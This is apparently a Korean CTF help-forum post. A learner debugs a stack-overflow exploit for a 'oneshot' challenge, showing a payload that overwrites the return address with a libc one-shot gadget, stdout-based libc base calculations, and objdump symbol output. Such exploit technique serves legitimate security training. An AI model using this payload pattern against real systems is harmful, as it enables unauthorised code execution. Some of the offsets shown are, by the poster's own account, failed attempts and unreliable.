페이로드는
payload = "A"*24 + p64(0)*2 + p64(oneshot_gadget)
이렇게 작성했고
gdb로 attach 해서 리턴 주소에 값이 정확히 들어가는 것을 확인했는데 쉘이 실행되지 않았습니다
oneshot_gadget을 구하기 위해서 아래와 같이 식을 작성하였는데
libc_base = stdout - 0x3c5708
oneshot_gadget = libc_base + 0x45216
제가 생각하는 문제가 되는 부분은 libc_base를 구하는 부분입니다
처음에는 oneshot 파일을 그대로 gdb로 열고
print stdout을 해서 나온 주소에서, vmmap을 해서 나온 /usr/lib/x86_64-linux-gnu/libc-2.31.so의 base 주소(시작 주소)를 뺀 값인 0x1bf6a0를 stdout 값에서 빼줬으나 동작하지 않아
patchelf --replace-needed 명령어로 문제파일에서 주어진 so.6 파일로 변경 후 다시 gdb로 열었습니다
이렇게 하니까 vmmap 으로 봤을 때 변경된 so.6 파일이 열리는것을 확인했는데
문제는 제공된 libc.so.6 파일에 debug simbol이 없어 print stdout이 먹히지 않는다는 것이었습니다
https://typemiss.tistory.com/2
이 사이트를 참고해서 libc6-dbg 패키지를 다운받아 gdb 에서 set도 해보았고
readelf -s ./libc6.so.6 | grep stdout에서 나온 stdout의 오프셋 값도 사용해보았으나
여전히 해결되지 않았습니다
원리는 다 이해한거 같은데 몇 시간째 문제가 해결되지 않아 답답하네요..
조언 부탁드립니다
(해결)
주어진 libc에서 필요한 데이터를 다 추출해서 풀었습니다
libc 바꿀 필요도 없고 로컬에서 되는거 확인해보지 않아도 되네요
# objdump -D ./oneshot | grep 'stdout'
9ff: 48 8b 05 ca 05 20 00 mov 0x2005ca(%rip),%rax # 200fd0 <stdout@GLIBC_2.2.5>
a62: 48 8b 05 67 05 20 00 mov 0x200567(%rip),%rax # 200fd0 <stdout@GLIBC_2.2.5>
위 명령어에서 나온 0x200fd0 값과
# objdump -D ./tmp_lib/libc.so.6_oneshot | grep 'stdout'
50060: 48 8b 05 e9 3e 37 00 mov 0x373ee9(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
5588a: 48 8b 05 bf e6 36 00 mov 0x36e6bf(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
6d349: 48 3b 1d b8 83 35 00 cmp 0x3583b8(%rip),%rbx # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
6f69c: 48 8b 2d 65 60 35 00 mov 0x356065(%rip),%rbp # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
6f705: 48 8b 3d fc 5f 35 00 mov 0x355ffc(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
6f73d: 48 8b 3d c4 5f 35 00 mov 0x355fc4(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
710f1: 48 8b 1d 10 46 35 00 mov 0x354610(%rip),%rbx # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
7115a: 48 8b 3d a7 45 35 00 mov 0x3545a7(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
71252: 48 8b 3d af 44 35 00 mov 0x3544af(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
71291: 48 8b 1d 70 44 35 00 mov 0x354470(%rip),%rbx # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
712fa: 48 8b 3d 07 44 35 00 mov 0x354407(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
713e0: 48 8b 05 21 43 35 00 mov 0x354321(%rip),%rax # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
71540: 48 8b 05 09 2a 35 00 mov 0x352a09(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
715ea: 48 8b 05 5f 29 35 00 mov 0x35295f(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
73857: 4c 8b 25 aa 1e 35 00 mov 0x351eaa(%rip),%r12 # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
738bd: 48 8b 3d 44 1e 35 00 mov 0x351e44(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
7a4d7: 48 8b 2d 2a b2 34 00 mov 0x34b22a(%rip),%rbp # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
7a53b: 48 8b 3d c6 b1 34 00 mov 0x34b1c6(%rip),%rdi # 3c5708 <_IO_2_1_stdout_@@GLIBC_2.2.5+0xe8>
105402: 48 8b 05 47 eb 2b 00 mov 0x2beb47(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
105579: 48 8b 05 d0 e9 2b 00 mov 0x2be9d0(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
113cb6: 48 8b 05 93 02 2b 00 mov 0x2b0293(%rip),%rax # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
116940: 48 8b 2d 09 d6 2a 00 mov 0x2ad609(%rip),%rbp # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
116ca6: 48 8b 2d a3 d2 2a 00 mov 0x2ad2a3(%rip),%rbp # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
117e40: 48 8b 2d 09 c1 2a 00 mov 0x2ac109(%rip),%rbp # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
1181a6: 48 8b 2d a3 bd 2a 00 mov 0x2abda3(%rip),%rbp # 3c3f50 <stdout@@GLIBC_2.2.5-0x17b8>
3c5618: e0 36 loopne 3c5650 <_IO_2_1_stdout_@@GLIBC_2.2.5+0x30>
00000000003c5620 <_IO_2_1_stdout_@@GLIBC_2.2.5>:
00000000003c5708 <stdout@@GLIBC_2.2.5>:
위 명령어 결과로 나온 0x3c3f50, 0x3c5708, 0x3c5620, 0x3c5708 전부 다 libc_base 계산할 때(stdout 주소에서 빼는 값으로) 써봤는데 안되네요..ㅠㅠ
'로컬에서 하실땐 폰툴 elf로드과정에서 나오는 libc를 사용하셔야 하고'
=> 1. 어떻게 확인하나요?
=> 2. 질문글에 써놨던 것처럼 patchelf로 libc.so.6을 변경하면 되나요?